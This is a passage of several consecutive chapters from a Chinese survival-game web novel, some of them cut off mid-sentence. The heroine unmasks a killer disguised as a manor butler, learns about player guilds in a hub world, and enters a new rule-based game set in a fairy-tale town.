“两码事。如果你是在几天前问我同样的问题,毫无疑问我会用相同的话帮她洗清嫌疑。但现在,我唯一确定的是,她和张松不同,她有能力躲过我的视线杀人。”陈绘意味不明地笑了一下,“不过,我不认为她是卧底,并且,我和她都主张卧底是男人。” “理由呢?” “理由说过了,能悄无声息地搬运尸体的人,只有可能是男人。” 齐天宇点点头,既不否认也不肯定。 赵思焕保持自己的观点,不遗余力地把矛头对准和陈绘和贺玉盈: “贺玉盈是不是新手?” “不知道。这种话你问我也没有用。” “你看不出来吗?” “看不出来。”陈绘不太想搭理他,认为回答他的问题等于浪费口水,“她说她是。” 赵思焕脸色铁青:“她说的话能信吗?陈绘,我以为你是个聪明人,没想到被她骗得这么厉害。” “能骗过我就说明她是聪明人,输给聪明人,我认了。” “陈绘!你想死我可不想,”赵思焕压抑着怒火恶狠狠道,“还有齐天宇,张松,你们几个今天拦下我,不让我杀掉她,过不了多久也会死在她的手上。” “赵思焕,贺玉盈到底是不是卧底,我们还没有证据。”齐天宇说。 “在这种鬼游戏里还要讲证据?那我们全都别玩了好了!”赵思焕觉得这些人既可笑又天真,“陈绘,你晚上回去转告贺玉盈,让她趁今晚躲起来,否则见她一次,我就杀她一次。” 不知钟声是什么时候响起的,等陈绘发现的时候,管家已经在尽忠职守地为几人布置晚饭了,碗碟碰撞声在耳旁轻微地响起,她懒得跟赵思焕白费口舌,转过脸去看管家。 管家为她放好晚饭,收回前倾的身体。 “管家,”陈绘看了眼他带来的推车,空空荡荡,最后一份晚饭被摆在她的桌前,“晚饭是不是少了一份?我朋友在房间休息,没有来餐厅。” 管家移动着眼珠,缓慢地从贺玉盈空着的座位扫过,“……抱歉,是我的失职,我会尽快准备好,待会儿亲自送到这位客人手中。” “她在休息,不希望被打扰,你把晚饭交给我,我来送。” “我明白了。”管家垂下眼,看不清神色。 众人接着争论不休,其中主要是赵思焕和陈绘争锋相对,而黎远军和张松隐隐偏向前者,齐天宇没有表态,只是时不时拱火两句。总之,这顿饭不欢而散。 陈绘没有在庄园搜查的心思,径直回到房间,打开门。贺玉盈半靠在床头躺着,鞋子端端正正地摆在床边。 “后背不痛了?”她揶揄道。 “还行。你这么快就回来了?”看见她回来,贺玉盈有点惊讶地问。 “没你快。”陈绘关上门,正要走向床边时顿住,转头去了窗边。 为了避免这顿饭过早地结束,她甚至还没事找事地故意呛了赵思焕几句。 “不用检查了,我已经看过了。”贺玉盈说。 陈绘微微变了脸色,很快调整回来,一屁股坐在床上。 “你让我做的我都做了,现在你解释吧。” “他们有没有起疑心?” “没有,看起来没有。”陈绘说,“你没出现真是先见之明,今晚他们的架势摆明了是要杀掉你。” “我太张扬了?” “是他们太蠢了。” “在解释之前我想问个问题,为什么你们没有怀疑过齐天宇?”贺玉盈说,“看得出来,他很聪明。貌似站在所有人的面前,但是从不把嫌疑引到自己身上,这就是他聪明的地方。这局游戏里,我们需要一个主持大局的聪明人,所以他站出来,接过这份责任,负责引导众人。同时,在寻找凶手和线索这方面上,他又利用这份话语权,恰到好处地把自己隐藏起来。” “任何群体游戏里,过于聪明的人都是最先死掉的人,比起木秀于林,他更想显得自己蠢一些。”贺玉盈评价道,“正因为如此,他的嫌疑也很大,不是吗?” 陈绘讽刺般笑了一声,“没想到你已经这么了解他了。他这人永远都是这样,比起抓住卧底,活到最后才是最重要的。不过齐天宇也就这点小聪明了。他知道你很可能不是卧底,但因为他也看不出来卧底 12. 第12章 德落亚庄园 《奇恒之府》全本免费阅读 第五天。 赵思焕被发现死在餐厅。 他趴在餐桌上,就像是打了个瞌睡。 “割喉。一刀致命。”齐天宇说。 赵思焕的血汇聚在座位下,十分黏稠,有些凉了。 齐天宇:“黎远军,你为什么没和他一起?” 黎远军神色犹豫,最后还是坦白道:“昨晚赵思焕让我今天一早就守在二楼,盯着贺玉盈她们。为什么他会死在这里,我也不知道。” 陈绘刚赶来就听到他这一席话,面色变了又变, “盯着我们?” 她不善的眼神像刀子一样刺向心虚的黎远军: “我看不只是盯着我们吧,是不是我们一开门就会被你绑起来啊?” 黎远军在她的逼视下,竟然不由得往后退了一步。 齐天宇暗道这人白长这么壮,居然能轻易地就被吓住。 “什么情况?”陈绘问齐天宇。 齐天宇无奈地摇摇头,“我和张松一到餐厅就发现他死在这里了,后来才去找了黎远军过来。据他所说,他们今天起了个大早,然后就分头行动了。赵思焕是怎么被杀的,大概只有他自己知道了。” 听完这话后,陈绘没问他遇上这种情况,为什么没第一时间叫她和贺玉盈,而是回到自己的座位,拉开椅子坐了下来,双手交叉支撑着下巴。 见她这样,其余几人也默默回到座位上,已然一副见怪不怪的样子。 “陈绘,贺玉盈呢?”齐天宇问。 “她还没醒。” 众人一噎。 “就不能叫她一声吗……”张松嘟囔。 “她累了就让她多睡一会儿,怎么了?” “陈绘,”齐天宇的瞳仁中第一次显出了警告的意味,“你是铁了心要站在她那边了?” “不。我只站在我认为正确的那一边。” “我们有三个人。”齐天宇提醒。 “哦,这么想的话,幸好赵思焕死了,否则还真不好办。” “你!”黎远军猛地转过头,气势汹汹地瞪着她。 “我怎么了?”陈绘毫不畏惧地对视回去,“我说错了?还是说你们现在就要动手?” 说到后半句,她的身体渐渐绷紧,只差一点就要暴起。 齐天宇看了眼钟,竭尽全力不让自己下达冲动的命令。 “等到饭点,要是她再不来,我们就要一起去找她了。” “随便你。”陈绘耸耸肩。 黎远军在齐天宇的示意下坐了下来。 “陈绘,”齐天宇再度开口,颇有几分苦口婆心的意思,“赵思焕昨天才表现了攻击她的意图,今天就死了,还不能说明问题吗?你要想清楚,陈绘,我不想跟你站在对立面。” “你说的有点道理,但听不听取决于我。”陈绘似笑非笑,”齐天宇,装傻充愣也得有个度,你明明知道她是卧底的可能性很小。” “我不知道。”齐天宇果断回答。 陈绘意味不明地瞥了他一眼,什么都没说。齐天宇默默垂下头,黑发遮掩了他的全部神情。 钟声准时敲响。 齐天宇从座位上站起,语气不容置疑,“我们去找贺玉盈。她最好没有逃走,陈绘。” 陈绘挑挑眉,“希望吧。” 四人准备离开餐厅时,推着餐车的管家叫住了他们。 “客人们要去哪儿?现在是早餐时间。” “我们有一个同伴到现在还没有出现,正要去找。”齐天宇说。 管家转动眼珠,笑了笑,“这是我的工作,让我去叫这位客人吧。” 齐天宇没有说话,也没有动作,摆明了是在考虑他的提议。 但管家并不给他拒绝的机会,“请各位客人坐好,早餐快要凉了。” 几人面面相觑,黎远军出面:“那我一个人去。” “请各位客人坐好。”管家礼貌地重复了一遍。 黎远军咬紧牙,无奈地坐了回去。 齐天宇看向陈绘,她倒是轻松自如,已经舒舒服服地靠在椅背上等着管家上饭了。 见几人或不甘或犹豫地坐回座位,管家才悠然一笑,为众人布置早餐。 最后一份早餐是陈绘的,管家布置好后,站在她身边,说:“我现在就去叫那位客人过来。” “嗯。”陈绘吃了一口食物,含糊不清地应着。 管家优雅地鞠了一躬,转身离开餐厅,燕尾服在空中划出了一个圆润的弧度。 四人各怀心思地吃着早餐,餐厅阴云密布。 …… 管家步履轻快地走上楼梯,白皙细长的手指轻轻拂过楼梯扶手上的雕金,上了二楼,灯火璀璨,光洁的地面倒出了他的影子,紧紧地跟随着他的脚步。皮鞋的踢踏声在回廊中响起,管家在贺玉盈和陈绘的房间门口站定。 他弯曲指节,轻轻叩了叩房门,“您好,客人。” 房内没有回应。 他又敲了敲,“客人?” 房内依然没有回应。 管家垂下手,思索片刻,犹豫地转过身,作势离开门口。 突然,他又站了回来,掏出一把钥匙,插进锁芯里,轻轻一扭。 门开了。 管家握着门把手,缓缓地打开门。 往前走了半步,待看清屋内的场景后,他瞳孔骤缩,立刻就要往门外退去! 一件重物忽然砸上了他的脑袋,紧接着是玻璃碎片哗哗掉落的脆响。 管家往前踉跄了几步,温热的血液顺着额角流下来,被他吃进了嘴里。 他猝然转身,横出一把匕首刺向来人。 他刺了个空。 管家抬起脸,鲜血挂在他的睫毛上,眼神阴狠。 “是你?你什么时候发现的?” “刚才。”贺玉盈松开手,只剩瓶口的花瓶“嘭”的一声砸碎在脚边,她谨慎地退后几步,跟他拉开距离,“你呢?什么时候发现的?” “也是刚才。”管家撩起被血液沾湿的碎发,露出了个称得上亲切的笑容。 他熟稔地把玩手中的匕首,微微偏了偏头,“给你一个痛快怎么样?就当作是你最快发现我的奖励。” “不怎么样。”贺玉盈又退一步,“再见。” 管家怔了一瞬,立刻拿匕首刺向她,贺玉盈手疾眼快地重重关上房门。 屋内,管家脸色扭曲地听着她奔跑的脚步声,伴随着她声嘶力竭的呼救: “救命啊——!陈绘!” 他气急败坏地破坏房门冲出去,贺玉盈已窜出了十几米远。 不过眨眼的时间,管家就追上了她,一刀扎在她的后背上。 贺玉盈吃痛,摇摇晃晃地扑倒在地上。 管家粗暴地拽起她的头发,迫使她扬起脖颈,匕首死死地抵在她的喉前。 贺玉盈瞪大眼睛,惊得顾不上后背的疼痛,伸手使劲向外推他的脚踝。 管家的身体只是倾斜了一下,立刻站稳,又重又狠地踩在她的手腕上。 他眼神阴冷,就要划破她的脖子时,他忽然推开贺玉盈,利落地跳到了一旁。 只要慢一步,陈绘手中的小刀就能刺穿他。 这把小刀他无比熟悉,这是白棠在他眼皮子底下顺走的刀,他假装自己没有看见。后来他又利用这把刀割掉了那个叫朱什么的阿基里斯腱,抱着游戏的心思扔进了花圃里…… 他明明记得这把刀是在贺玉盈身上,什么时候到了陈绘手里? 贺玉盈连滚带爬地溜到了墙边,伸出手指轻轻抚摸着脖子上的伤口。 “嘶。”贺玉盈倒吸一口凉气,指尖上是鲜红的血液,被踩住的手腕也是一片淤青。 她气恼地看了眼陈绘。 明明早就说好了,这人却在这个时候才赶来,难道是在故意报复她吗? 陈绘和管家对峙着。 任谁都想不到会变成现在这个局面。 齐天宇等人这时才匆匆赶来,见到现在这个场景还有什么不明白的,都当机立断地转变了态度,敌意地看着管家,还不忘稍微护着负伤的贺玉盈。 管家的脸上只见怒气,不见慌张,唇角溢出一丝冷笑,“啊,看来客人们都不太听话呢。” “你要打我们的手掌心吗?”陈绘反唇相讥。 管家压平嘴角,连那点虚伪的笑容都消失了。他瞥了眼缩在最后面的贺玉盈,便跟陈绘几人缠斗了起来。 他们打得有来有往,贺玉盈意识到管家这个人不只会耍阴谋诡计,连身手都好得不像话,即使处于一对四的劣势下,他也应对得游刃有余。 张松的手臂被划破了一条长长的伤口,几乎无力再加入战斗中。管家又将视线放在了齐天宇的身上。 齐天宇看起来瘦弱,可在管家的针对下竟然能保持毫发无伤。黎远军身体强壮,即使被管家刺了几刀,仍旧活跃在交锋中。 最为突出的人是陈绘。 贺玉盈心想难怪齐天宇要让她几分,和管家的缠斗中大部分都是陈绘出的力。管家被她缠得着急,但一时又解决不了她,气得咬牙切齿。 几个来回下来,管家渐渐落于下风。 这也难怪,毕竟他脑袋上是结结实实地挨了贺玉盈一下,再强也是肉体凡胎,时间一长,他必然坚持不久。 管家负伤,后退几步,沉沉地呼吸着。 陈绘三人身上也挂了彩。 不知是不是想要拖延时间,管家竟然在这个时候开口:“我认识你,陈绘,你是溢朱的人。” 陈绘的呼吸紊乱,不过依然摆足了气场,挑挑眉说:“不太 13. 第13章 欢迎来到奇恒之府 《奇恒之府》全本免费阅读 戚司命死后,四人瞬间恢复状态。 贺玉盈摸摸后背,衣服上破了个洞,但是皮肤光洁如新,丝毫没有被刀刺穿过的痕迹,就连之前倒在花圃里的擦伤都消失了。 一只修长有力的手出现在视线中,她抬头看去,是陈绘。 她扶着陈绘的手站起来。 陈绘赞许地上下看着她,“没事吧?” “还好。”贺玉盈拍拍身上的灰尘。 她们一同看向脚边戚司命的尸体。几秒后,这具尸体如烟雾般逐渐消散。 她们通关了。 “他是不是和你说什么了?” “他说他叫戚司命,你认识吗?” “他是戚司命?” 贺玉盈点点头。 “他让你干什么了?”陈绘的脸色不太对劲,好像戚司命是什么洪水猛兽。 “他让我出去后找他。” “不要找他,他是明……”突然间,陈绘的身体若隐若现,像游戏卡带一样,她抓住贺玉盈的手,匆匆地说:“如……没地方……神柩……等我……你……” 贺玉盈张张嘴,还没来得及开口,下一瞬,陈绘就彻底消失了,和她一起消失的,还有齐天宇三人。 这座庄园一瞬间变得空空荡荡,打斗的痕迹,武器,和远处房间门口的花瓶碎片全都消失不见。就像他们从没来过这里。 贺玉盈试探地往前走了一步,脚下忽然踏空,倏然坠落到一片黑暗之中。 没有光亮的,漆黑一片。 既像踩在实地上,又像漂浮在空中。 贺玉盈又走了几步,眼前一片白光突地向她喷涌而来,包裹着她,刺得她几乎要落下泪来。 【恭喜编号4730激活玩家身份】 【恭喜玩家4730通关B级髓海“德落亚庄园”】 【正在判定本局表现……】 【您在本局髓海中表现评分为S级】 【正在计算元核奖励……】 【新人福利:+100元核】 【顺利存活:+50元核】 【发现管家的真实身份:+100元核】 【给管家的致命一击:+150元核】 【您所获得的奖励为:400元核】 【缴纳生命税:-50元核】 【您目前的账户余额为:350元核】 【我是您的助手,期待您在未来的表现】 【欢迎来到奇恒之府】 最后一行字消失后,贺玉盈眼前一花,仿佛有一双手从背后推了自己一下,她踉跄了几步,重新恢复视力时,发现自己站在了一个陌生的区域。 这个区域有些像地铁的站台,贺玉盈背对着轨道,就像刚从搭乘的地铁走下来。 环顾四周,有些人和她一样是从地铁下来,有些人则是沉着脸往地铁上走,贺玉盈看向地铁内,雾蒙蒙的,什么也看不清,而地铁上方没有任何地点标识。 这长得看不见尽头的地铁没过多久就启程了,不知道会把这些人送到哪里去。 贺玉盈愣了半晌,直到一个路人撞了她一下,她才彻底回过神来,顺着出地铁的人流往外走。 坐上扶梯,贺玉盈来到了一个未来化的大厅。这里处处都显示着科技的文明,但跟她所熟悉的科技截然不同。 贺玉盈从包里掏出手机,摁了几下,还是用不了。 无奈之下,她只好将手机揣回兜里,一边放慢脚步,一边琢磨着游戏里陈绘和其他人说的关于外面的信息。 大厅里穿梭着各种各样的人,有男有女,有老有少,还有高鼻深目的外国人操着一口外国语。有些人结伴同行,有些人则独自隐没在人潮中。 贺玉盈不打算去找戚司命,也不打算立即去找陈绘,她打算自己花点儿时间把这个大厅摸清楚。 这是一个十分恢弘精致的建筑,摆放着许多贺玉盈认不出,用不来的物品,贺玉盈就在一边默默观察别人是怎么使用的。 有的人注意到了她的视线,上下打量了她一眼,没别的反应,用完就离开了。 贺玉盈忍不住摸了摸衣服上那个被刺破的小破洞。 她只穿了一件短袖,这个破洞害得她一直觉得自己后背凉飕飕的。 可恶的管家,可恶的戚司命。 这样骂了几句,心情稍微好点儿后,她走到一个透明蓝色柜子前,伸手摸了摸。 这柜子大约有路边垃圾箱大小,高度与腰平齐,既不是玻璃做的,也不是塑料做的,摸起来有股韧性,贺玉盈不知道是什么材质。 她学着刚刚那人的动作,把掌心严严实实地贴在柜子上方。 这柜子忽然像是融掉了一般,渐渐地把她的掌心包裹起来。贺玉盈怀疑自己按在了一团史莱姆上。 贺玉盈试着抓了抓,空空如也。 她试着伏下身体,头微微侧着一只手撑着柜子角,另外一只手的半个臂膀没入了柜子里,和曾经上课时她去捡掉在椅子下的笔的姿势一样。 正是因为这个动作,贺玉盈这时才注意到有一个白衣黑裤的人站在了她的身后,不知站了有多久。 贺玉盈一惊,一无所获地拿出胳膊,转身对背后的人歉意道,“不好意思,我不太会用这个。” “没关系,你是新玩家吗?” 贺玉盈怔了怔,抬头看他。 这是一张完全陌生的脸,年轻俊秀。 他的瞳孔深而黑,嘴唇薄而红。 “是,刚刚才结束第一个游戏出来。”贺玉盈干脆地承认了。 男人往前走了两步,贺玉盈退开。 他把掌心轻轻放在柜子上,视线里,柜子的表面涌动着,包住了他的手掌。 “这是这里的售货柜,”男人给她解释,“想要什么就能从里面拿到什么,比如……你想要什么?” 贺玉盈思索片刻,“一瓶矿泉水,一袋面包……和一件短袖外套。” 男人点点头,几秒后,他收回手,手中拿着一件蓝色外套。还没等贺玉盈发问,奇妙的售货机像豌豆射手一样吐出了一瓶矿泉水和一袋巧克力面包,静静地躺在售货机的上面。 “就像这样。”他把衣服递给她。 “谢谢,”贺玉盈接过,立刻穿上了,“不用付钱吗?” 男人态度温和,“元核就是钱。它会自动扣。” “好神奇,”她真情实感地感叹一句,“我想试试。” 男人站到一边,贺玉盈走到他刚刚站的位置,学着他的模样把手掌按进去。 “你要什么?”她问。 “嗯……一瓶水吧。” 贺玉盈点点头,几秒后,她握着一瓶罐装可乐递给他。 “可乐喝吗?” 男人没有立刻接过来,沉默了会儿,语焉不详地说:“……我不怎么喝碳酸饮料。” “啊,真对不起,”贺玉盈把手上没开封的矿泉水递给他,“这样吧,我用这个跟你换。” 意外的是,男人最后接过 14. 第14章 《奇恒之府》全本免费阅读 …… 陈绘气喘吁吁地跑出大门便见到贺玉盈被人纠缠着。 她没好气地走上前,一把拽过贺玉盈的胳膊往自己身后扯。 还不等男人殷勤地开口说话,陈绘眉毛一竖,冷言冷语道: “我们不是新玩家,少来烦人!” 这男人一瞬间哑火,碰了一鼻子灰,讪讪地走了,却没走太远,还是在神柩门口走来走去。 “他是……” “专坑新玩家的货色,假模假样地说能给人提供帮助,实则能骗得你裤衩子都没了,遇上了别搭理,骂一顿就老实了。” 贺玉盈点点头,心想自己本来也是打算这么干的,可是还没来得及付诸行动就被她给拉过去了。 “我还没问你呢,出游戏前我不是让你在神柩等我吗?你跑这来干嘛?亏我还在髓海等你半天。”陈绘怒气冲冲,“要不是跟别人打听了一嘴,我还不知道你自己悄摸摸地跑出来了。这地方你了解多少就敢乱跑?你有地方去吗?” 贺玉盈:“不好意思。” 好歹跟贺玉盈在游戏里相处这么多天,陈绘自认多少也算了解她。这人嘴上的道歉都跟放屁一样,听听就算了,她自己不会往心里去,听的人最好也别往心里去。 “少来这套。”陈绘皱起眉打量她一眼,这才注意到她身上穿了件崭新的外套,“卖东西那玩意你会用了?” 贺玉盈点点头,“遇见了个人教我的。” “嗯,嗯。”陈绘本来想跟她说的也不是这点鸡毛蒜皮的小事,但是说着说着,她忽然想起了什么似的,当即便怀疑道,“你这么急匆匆地出来,是不是为了找你那个前男友?旧情难忘?” 自从通关游戏,陈绘对贺玉盈说的话还有什么不相信的?哪怕她说得再扯也有可能是实话! “……”贺玉盈沉默了片刻。 她没有把自己的伤疤揭给别人看的习惯,因此当初解释进入游戏的经过时,她并没有对陈绘说陆州已经死了,而是稍微编造了一下经过,以至于陈绘到现在还认为陆州还活在游戏里。 “没有。我已经当他死了。”贺玉盈实话实说。 陈绘的眼神明显透露出不信任,不过也不好再对别人的私事说什么,“反正,能把你骗进游戏里来肯定不是什么良人,你早点跟他断了是好事。” “嗯。” “那行,”这个话题揭过,陈绘轻松道,“你有住的地方没?” “没有。” 意料之中的回答。 “我那里有地方,不过你得加入我们溢朱才行。”陈绘补充,“设施齐全,价格低廉,来了不亏。” 贺玉盈:“溢朱……究竟是什么?” “公会。既然是游戏当然有公会,非正式的,由玩家自发组建。”陈绘说,“除了溢朱以外,还有其他的公会,每个公会的宗旨都不一样,差别挺大的,像溢朱,比较崇尚合作。” 溢朱的人通常组队进副本,而通过公会组队获取的元核则必须以一定比例贡献出来。因为奇恒之府的元核不能转赠和夺取,所以成员会直接把等价物资交给公会,以维持公会的正常运转。 公会成员在生活困窘时也可以向公会寻求帮助,例如领取物资,或者是找人组队髓海。 除溢朱以外,还有四个公会,分别是明堂、泥丸、洞房,和紫天极。 明堂,崇尚智力。公会成员喜欢独自行动,多靠计谋取胜,阴险狡诈,不擅武斗,常为其他公会所痛恨。 泥丸,崇尚“三不”原则,即不出力,不出头,不出声。一般公会成员会浑水摸鱼地玩完整局游戏,目标是赚到存活的元核即可。 洞房,崇尚武力。公会成员大多采用简单粗暴的方式通关,包括但不限于破坏游戏场地,破坏游戏道具,杀害同局其他游戏玩家,殴打或杀害NPC等。著名口号是:除本公会成员以外之人皆为敌人。 紫天极,不详。传言公会成员人数极少,且每个成员都拥有神秘力量。 “齐天宇就是泥丸的人,”陈绘撇撇嘴,“不知道他怎么想的,明明对他那种人来说,明堂才是最适合的。” “可能是惜命吧。”贺玉盈说。 “说得也是。他确实挺怕死。”像是想起了什么,陈绘猛地盯向贺玉盈,问道,“说起来,游戏里那个管家是叫戚司命对吗?” 得到贺玉盈肯定的答复后,陈绘的脸色凝重起来。 “怎么了?” “他是明堂里有名的家伙——是名声极差的那种。据说如果不幸跟他一起进了一局游戏,首先要防范的人就是他。” 戚司命此人,在奇恒之府赫赫有名,有老玩家讲:做他的对手要小心,做他的队友要格外小心。他行事毫无逻辑,全凭心意,总会不经意间给人致命一击。而且他虽然不屑于在奇恒之府隐藏自己,还隐隐有显于人前的嚣张气势,但毕竟不是蠢货,在进入髓海后,他往往会通过换脸的方式将自己藏起来。 据戚司命自己所说,这样做不是因为害怕被人针对而导致游戏失败,而是因为不希望游戏失去乐趣。 像这种享受髓海的人,简直就像个魔鬼。 思及此,陈绘又暗自看了一眼贺玉盈。 ……那么把魔鬼打败的人,应该就是怪物了吧。 所以说,到底是谁会怀疑对抗赛里的npc是玩家假冒的啊!?这种脑回路到底是什么人才会拥有的? “总之,对明堂的人,切忌交浅言深。明堂基本都是戚司命那种人,不过他的病症更为突出而已,所以,离他远点,越远越好。”陈绘警告贺玉盈,“除了明堂以外,再就要小心洞房,被他们盯上,脖子都会被咬碎……不过这群人脑子不怎么样,能唬住他们就行——所以还是明堂的人最危险。你没应他的邀请是对的,谁知道他肚子里装什么坏水?总之,奇恒之府不比以前那个世界,在这里讨生活,什么都得留心。” 叽里呱啦说了一大堆,嘴巴都说干了,陈绘一个激灵,开始后悔自己不小心说了这么多话。 “我跟你说这么多干什么,在这里呆段时间就能弄明白的事… 15. 第15章 安徒生小镇 《奇恒之府》全本免费阅读 这十五天的时间里,说是为髓海做准备,但其实贺玉盈也不知道该做什么。 或许奇恒之府不应该建立公会,而应该建立攻略组。她有时会冒出这个想法。 此外,她偶尔会外出走走,偶尔会收到陈绘的通讯。 十五天里,她只和陈绘出来吃过一顿饭。 贺玉盈还碰上过齐天宇一回。 对方短暂地惊讶了一下,然后淡淡向她打了个招呼就离开了。 时光转瞬即逝,十五天后,在【助手】的催促下,贺玉盈换上了新买的衣服,打开舱门就看见了陈绘。 “露出一副惊讶的表情干什么?我来送送你不行吗?” “不好意思……谢谢。” “这话说得好像咱俩刚认识。”陈绘替她拉上舱门,“走吧。” 两人并肩走下髓海,各种各样的人乘上列车,各种各样的人走出列车。 “进髓海前我得多嘴提醒你一句:别随便相信别人。”陈绘严肃地说。 贺玉盈重重地点点头,“知道了。” “还有,要是再遇见像【德落亚庄园】这种类似的卧底游戏,别随便怀疑npc,上次是少数的个例情况,你碰巧撞对了而已。” “嗯。” “……”见她一脸平静,陈绘只好咽下了没说完的话。 站台上人群来来往往,贺玉盈越靠近轨道,四周的人影就越朦胧,直到最后,连身边的陈绘也消失了。 她的眼前停下了一列列车,银色反光的车门缓缓开启,门内是一片耀眼夺目的白光。 贺玉盈深呼吸几口气,终于踏上了列车。 【欢迎玩家4730进入髓海“安徒生小镇”】 【您将与其他游客一同在小镇内游玩五天,五天后,小镇关闭】 【请注意:玩家存活将获得50元核,死亡将扣除50元核】 【请珍惜您仅有一次的生命】 白光像是被吞噬一般骤然消失,贺玉盈眼睛一花,就发现自己站在了一扇巨大的石砖拱门前。 拱门下两扇木质门虚掩着,没有落锁,只需伸手一推便能进去。 贺玉盈没着急进去,反而后退两步,打量着这座小镇的外围。 由拱门延伸出去的都是砖石砌成的围墙,如巨人的臂膀一般将小镇紧紧拢着,金色的暖光洒在砖面上,又像刚出炉的松软面包。 温馨,美好,宁静……用如此的词汇来形容这座小镇给人的感觉一点也不为过。 拱门旁有一个巨大的彩色告示栏,歪歪斜斜地贴着几个花边字体:童话王国——美丽的安徒生小镇。 接着是用彩笔写的注意事项。 「1.如果有居民向你请求帮助,请答应ta; 2.镇内一切免费供应; 3.请不要戳破童话; 4.童话祭是安徒生小镇最重要的节日,小镇居民必须全部参加。」 还没多看几眼,身后便传来了一串杂乱的脚步声。 贺玉盈转身,迎面而来的是三个人,两男一女,全都是生面孔。 “玩家?”其中一个长着络腮胡的男人问。 贺玉盈点点头。 “那行,一起进去吧。” 贺玉盈无比自然地加入了他们的队伍中,顺从地跟在他们屁股后面。 男人走到拱门前,自然也发现了一旁的木质告示牌。 “看来这局游戏是规则怪谈。”男人仔细阅读一遍后,大声招呼众人,“都过来看看,把这些往脑子里记好,这是能救命的东西!” 另外一个瘦高个的男人说:“就这么几条规则?看起来很轻松啊。” 络腮胡说:“别说没用的话!好好记清楚,千万别漏记了哪条!” 确认每个人都看完规则后,络腮胡直接推开了小镇的木门,带着几个人往里走。 队伍里唯一的女生小心翼翼地靠近了贺玉盈,低声问:“你叫什么名字啊?” “贺玉盈。” “我叫余渺渺,”女生见她好说话,胆子便大了起来,“那你玩过几局游戏了啊?” “这是第二局。”贺玉盈说。 “第二局!?”余渺渺不禁瞪大双眼。 都说第二局才是玩家的试炼场,也就是说,她还是个新人啊! 余渺渺面露失望,“唉,那你比我还菜呢。” “你本来想跟我组队吗?” “是啊,可是……还是算了吧。”余渺渺说完一愣,急忙道歉,“不,不……我不是那个意思,我的意思是,我也是个菜鸟,两个菜鸟抱团,还不如不抱。” 贺玉盈没把这种小事放在心上,用眼神示意走在她们前面的那两个男人,“你们不是一队的吗?” 余渺渺摇头,“我们只是刚巧碰上而已。” “哦。” “刚才的规则,你看出什么没有?”余渺渺试探。 “嗯……”贺玉盈沉思着,“我想,最后一条的童话祭是重头戏。” 余渺渺还没来得及问为什么,就被门后的几个人吸引了注意力。 原来已经有三名玩家进到小镇里了。 一个戴眼镜的,畏畏缩缩的胖子,一个短发长裙,满脸高傲的女人,还有一个穿牛仔外套,面无表情的熟人。 这位熟人见到她们四人走进来后,便盯着队伍中的贺玉盈。 贺玉盈冲他点点头,当作打招呼。 这个人就是她刚出第一局游戏时碰见的徐伏隐。 徐伏隐颔首。 大家互相做了自我介绍。 络腮胡叫文华。瘦高个叫陈远里。胖子叫王家嘉。女人叫何年景。 文华:“门口的规则都看了吧?估计这局就是规则怪谈了,你们有什么想法吗?” 他的眼神从几人扫过,王家嘉低下头回避他的视线,女人则是淡淡地撇开脸。 于是他的目光放在了唯一一个看起来比较靠谱的人身上。 只可惜这个人没有给他想要的回应。 “没什么想法。”徐伏隐言简意赅。 文华一噎,心里嫌弃这局的队友怎么看起来一个比一个草包,但到底没有多说什么。 “你们就是这几天的游客吧?” 不知何时出现在他们身边的老人中气十足地说。 这老人拥有一把又黑又密的大胡子,脸上的皱纹牵拉着他血红的大嘴,眼神中透露出凶相,像是盯着猎物一般。他背部佝偻,依靠手中的木杖颤颤巍巍地支撑身体。 文华:“我们是。您是?” 老人的木杖在地上重重敲了敲: “我是这座小镇的镇长。你们几位既然是游客,就跟着我来吧,我带你们去旅馆。” 几人面面相觑,心知这老头便是游戏里的任务npc,于是跟在 16. 第16章 安徒生小镇 《奇恒之府》全本免费阅读 “我应该没看错。”文华离开墙边,“你们自己再来看一遍。” 每个人都贴近粗糙的墙面读完了这两句话,将它牢牢地记在心里。 “天色不早了,今天是安全期,明天游戏才正式开始,规则没有说晚上不能出门,大家就自己行动。”文华说。 何年景看完规则径直回到房间,没等他说完就关上了房门。 王家嘉弱弱地问:“我们……我们能组队吗?” “行。”文华补充说,“大家随意组队。” 话音刚落,贺玉盈就感受到自己的胳膊被人扯了扯,低头一看,是余渺渺。 “我们能不能组队啊?” “可我也是个菜鸟。”贺玉盈拿之前的话回答她。 余渺渺怎么能不知道自己应该找个更厉害的人组队呢?可是一眼看去,她竟然找不到能组队的人! 没进小镇前,她不敢搭话长得凶神恶煞的文华,而陈远里好像一直故意和她保持距离。唯一说得上话的只有贺玉盈一个人,然后遗憾地发现她也是个菜鸟! 原本以为进小镇后的其他队友能让她抱大腿,结果呢,王家嘉那一副惊恐不安的样子,看起来太没用了! 何年景呢,又一副不把人放在眼里的模样,一看就不好相处,想来想去,居然只有亲切的菜鸟贺玉盈可以依靠。 “没问题啊。”余渺渺怂恿贺玉盈,“你看那个叫徐伏隐的,肯定是大佬,我们去找他组队怎么样?” 贺玉盈心说你自己怎么不去找? “我自己不敢去啊。他看起来好高冷啊。”余渺渺声如蚊蚋,“其实我有很严重的帅哥恐惧症,除此之外,我还有壮汉恐惧症,潮男恐惧症……” “……!” 贺玉盈吓了一跳,还以为自己把心里话说出来了。 不过经她这么一说,她才发现徐伏隐好像长得确实挺帅的。也许是她习惯了眼里只有陆州一个人,所以就连其他男人的长相都不怎么关注了。 回过神来的时候,徐伏隐已经走到了她们的面前,贺玉盈这才意识到自己居然看着他的脸想陆州想得出了神。 余渺渺不知道什么时候躲在她的背后,小心地探出脑袋。 “又见面了。” “真巧。”贺玉盈整理好情绪,说。 何止是巧,简直是巧得不能再巧了。 这概率比抛出一枚硬币,然后硬币立在桌上的概率还小得多! 余渺渺睁大眼睛,左看看贺玉盈,右看看徐伏隐,惊讶地问:“你们认识啊?” 认识就更好了!太好了!看来抱菜鸟大腿也很值得嘛! “不认识。”贺玉盈摇摇头。 “见过一面。”徐伏隐补充。 “那也是认识了!”余渺渺眉间眼梢都是欣喜,随即自作主张地邀请他,“我们能不能组队啊?” 徐伏隐看了看贺玉盈,后者没什么反应地站在一旁。 “可以。”徐伏隐说,“我正愁没人组队呢。” 余渺渺听见这话便一阵后悔,早知道自己就克服恐惧勇敢上了……不过没关系,结果是好的就行。 “哈哈,看不出来啊,还以为你是喜欢单打独斗的那种人。”余渺渺说。 “是吗。”徐伏隐语气平缓,“有时一个人难免会觉得孤单。” 他这句话说得云里雾里的,余渺渺丈二和尚摸不着头脑,不知道该怎么接。 徐伏隐也没有要让她接的意思,“晚上出去看看吗?” 余渺渺:“没问……” “不出去。”贺玉盈说,“我有点累了,想休息。” 